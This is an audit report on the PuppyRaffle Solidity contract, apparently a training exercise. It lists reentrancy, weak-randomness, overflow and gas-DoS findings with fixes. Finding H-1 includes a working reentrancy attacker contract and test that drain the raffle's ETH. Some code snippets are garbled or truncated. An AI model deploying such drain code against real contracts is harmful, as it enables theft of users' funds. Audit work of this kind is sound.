PuppyRaffle Audit Report

Version 1.0

FINISH.io

December 28, 2025

Protocol Audit Report

FINISH.io

December 28, 2025

Lead Auditors: - FINISH

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

# Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	1
Low	1
Info	7
Gas	2
Total	15

Findings

High

[H-1] Reentrancy in `PuppyRaffle::refund` Allows Entrant to Drain Raffle Balance

Description

The `PuppyRaffle::refund` function violates the **Checks-Effects-Interactions (CEI)** pattern. Specifically, the function performs an **external call** to `msg.sender` before updating internal state, allowing a malicious participant to reenter the function and repeatedly withdraw funds.

Because the `players` array is only updated **after** the external call, the same player index remains valid during reentrant calls, enabling the attacker to drain the entire raffle balance.

Root Cause

The vulnerable logic exists in `PuppyRaffle::refund`:

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

    payable(msg.sender).sendValue(entranceFee);
    players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

Root cause:

- External call (`sendValue`) is executed **before**:
  - Updating `players[playerIndex]`
  - Emitting the refund event
- This allows reentrant execution before the contract state is properly updated.

Impact

A malicious participant can exploit this reentrancy vulnerability to:

- Repeatedly call `refund` within a single transaction
- Drain **all ETH held by the `PuppyRaffle` contract**
- Steal entry fees paid by all honest participants

This results in **total loss of funds** and complete compromise of raffle integrity.

Proof of Concept (PoC)

Attack Flow

1. Honest users enter the raffle
2. Attacker deploys a malicious contract with a `fallback` / `receive` function
3. Attacker enters the raffle using the malicious contract
4. Attacker calls `refund`
5. During the ETH transfer, the fallback function reenters `refund`
6. Steps 4–5 repeat until the raffle balance is drained

PoC Code Click to expand PoC

Add the following to `PuppyRaffle.t.sol`:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address;
        players[0] = address(this);

        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

```
function testCanGetRefundReentrancy() public {
    address;
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;

    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
    address attacker = makeAddr("attacker");
    vm.deal(attacker, 1 ether);

    uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

    vm.prank(attacker);
    attackerContract.attack{value: entranceFee}();

    console.log("Starting raffle balance:", startingPuppyRaffleBalance);
    console.log("Ending raffle balance:", address(puppyRaffle).balance);
    console.log("Attacker balance:", address(attackerContract).balance);
}
```

Recommendation

The `refund` function should strictly follow the **Checks-Effects-Interactions** pattern:

1. Validate conditions
2. Update contract state
3. Emit events
4. Perform external calls last

Suggested Fix

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);

    payable(msg.sender).sendValue(entranceFee);

-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block,timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.

2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max
    // 18446744073709551615
    myVar = myVar + 1
    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be: `javascript totalFees = totalFees + uint64(fee); //substituted totalFees = 800000000000000000 + 17800000000000000000; // due to overflow, the following is now the case totalFees = 153255926290448384;` 4. You will not be able to withdraw due to the line in :`PuppyRaffle::withdrawFees`;

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
     ");
```

Code

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a
       second raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require
       check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!")
       ;
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

1. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

2. Remove the balance check in `PuppyRaffle::withdrawFees` "'diff

- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); "' We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[H-4] Denial of Service (DoS) via Gas-Exhausting Duplicate Check in `enterRaffle`

Description:

The `enterRaffle` function performs duplicate player detection using a nested loop over the `players` array. This implementation has **O(n^2)** time complexity, where `n` is the total number of players.

As the number of players increases, the gas cost of each `enterRaffle` call grows quadratically. Eventually, transactions will exceed the block gas limit and revert, resulting in a **Denial of Service (DoS)** that prevents any further users from entering the raffle.

Root Cause

The vulnerable code is located at `src/PuppyRaffle.sol`, lines **86–91**:

```
// Check for duplicates
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
            player");
    }
}
```

Root Cause Analysis

1. **Quadratic Time Complexity (O(n^2))**

   The nested loop compares every pair of players:

   - Loop executions: `n * (n - 1)/ 2`
   - Examples:
     - 50 players → 1,225 comparisons
     - 100 players → 4,950 comparisons
     - 200 players → 19,900 comparisons

2. **Incorrect Validation Timing**

   The duplicate check occurs **after** new players have already been appended to the `players` array (lines 82–84). This forces every call to re-check the **entire historical player list**, including players already validated in previous transactions.

3. **Cumulative Gas Growth**

   As `players.length` increases, the gas cost of future calls grows rapidly. Eventually, `enterRaffle` becomes uncallable due to exceeding the block gas limit.

Impact

1. **Denial of Service (DoS)**

   An attacker (or normal usage) can continuously add players until the gas required for `enterRaffle` exceeds the block gas limit (~\30,000,000 gas), permanently preventing new entries.

2. **Severely Degraded User Experience**

   - Early participants pay relatively low gas fees
   - Later participants face exponentially higher gas costs
   - Results in unfair and unpredictable participation costs

3. **Core Contract Functionality Breakdown**

   Once a critical number of players is reached, the raffle contract becomes unusable, effectively disabling its core functionality.

4. **Empirical Gas Measurements**

Player Count	Gas Used
50th entry	~1,070,706 gas
100th entry	~4,193,557 gas
Growth ratio	~3.9×

This aligns closely with theoretical quadratic growth: [$\frac{100^2}{50^2}$ = 4]

Proof of Concept (PoC)

The following test demonstrates the quadratic gas growth behavior:

```
function test_denialOfService() public {
    uint256 firstFiftyGas;
    uint256 secondFiftyGas;

    // Add first 50 players
    for (uint256 i = 0; i < 50; i++) {
        address;
        newPlayer[0] = address(uint160(i + 100));

        uint256 gasBefore = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee}(newPlayer);
        uint256 gasUsed = gasBefore - gasleft();

        if (i == 49) {
            firstFiftyGas = gasUsed;
        }
    }

    // Add next 50 players (total = 100)
    for (uint256 i = 50; i < 100; i++) {
        address;
        newPlayer[0] = address(uint160(i + 100));

        uint256 gasBefore = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee}(newPlayer);
        uint256 gasUsed = gasBefore - gasleft();

        if (i == 99) {
            secondFiftyGas = gasUsed;
        }
    }

    // Verify significant gas growth
    assertTrue(
        secondFiftyGas > firstFiftyGas * 2.5,
        "Gas consumption should increase significantly"
    );

    // Continued execution will eventually revert due to Out-Of-Gas
}
```

Observed Results:

- 50th call: ~1,070,706 gas
- 100th call: ~4,193,557 gas
- Growth ratio: ~3.9× (consistent with $O(n^2)$)

Recommended Mitigation

Preferred Solution: Mapping-Based Duplicate Tracking Replace array-wide duplicate checks with a mapping-based approach using a raffle round identifier.

Design:

- Introduce a `currentRaffleId` state variable
- Use a mapping: `mapping(address => uint256)playerRaffleId`
- During `enterRaffle`, ensure:

  ```
  require(playerRaffleId[player] != currentRaffleId, "Duplicate
      player");
  ```

- When a raffle ends (`selectWinner`), increment `currentRaffleId`

This eliminates the need to clear mappings between rounds.

Solution Comparison

Approach	Time Complexity	Gas Growth	Recommendation
Current implementation	O(n^2)	Quadratic	Vulnerable to DoS
Mapping + Raffle ID	**O(m^2)**	Stable	Strongly Recommended
Pre-insertion array check	O(m × n)	Linear growth	Not Recommended

- `n`: total players in the raffle
- `m`: number of new players per transaction (usually small)

Advantages of the Mapping-Based Approach

- Reduces complexity from **$O(n^2)$** to **$O(m^2)$**
- Constant-time duplicate checks via mapping lookups
- Gas cost remains stable regardless of total player count
- No need to manually clear mappings between raffle rounds
- Fully eliminates the DoS vector

Medium

[M-1] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `puppyRaffle: :getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description : If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array

```
function getActivePlayerIndex(address player) external view returns (
    uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] storage variables in a loop shuold be cached

```
  + uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
+     for (uint256 j = i + 1; j < playersLength; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player"
            );
}
}
```

Informational/Non-Crits

[I-1]: Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

Recommendations:

Deploy with any of the following Solidity versions:

```
0.8.18
```

The recommendations take into account:

```
Risks related to recent releases
Risks of complex code generation changes
Risks of new language features
Risks of known bugs
```

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 63

```
            feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 169

```
            feeAddress = newFeeAddress;
```

[I-4] does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

~~~
```diff
~~~

- (bool success,) = winner.call{value: prizePool}("“);
- require(success, "PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner, tokenId);
- (bool success,) = winner.call{value: prizePool}("“);
- require(success, "PuppyRaffle: Failed to send prize pool to winner"); "‘

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead,you can use :

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
diff - function _isActivePlayer()internal view returns (bool){ - for
 (uint256 i = 0; i < players.length; i++){ - if (players[i] == msg.
sender){ - return true; - } - } - return false; - }
```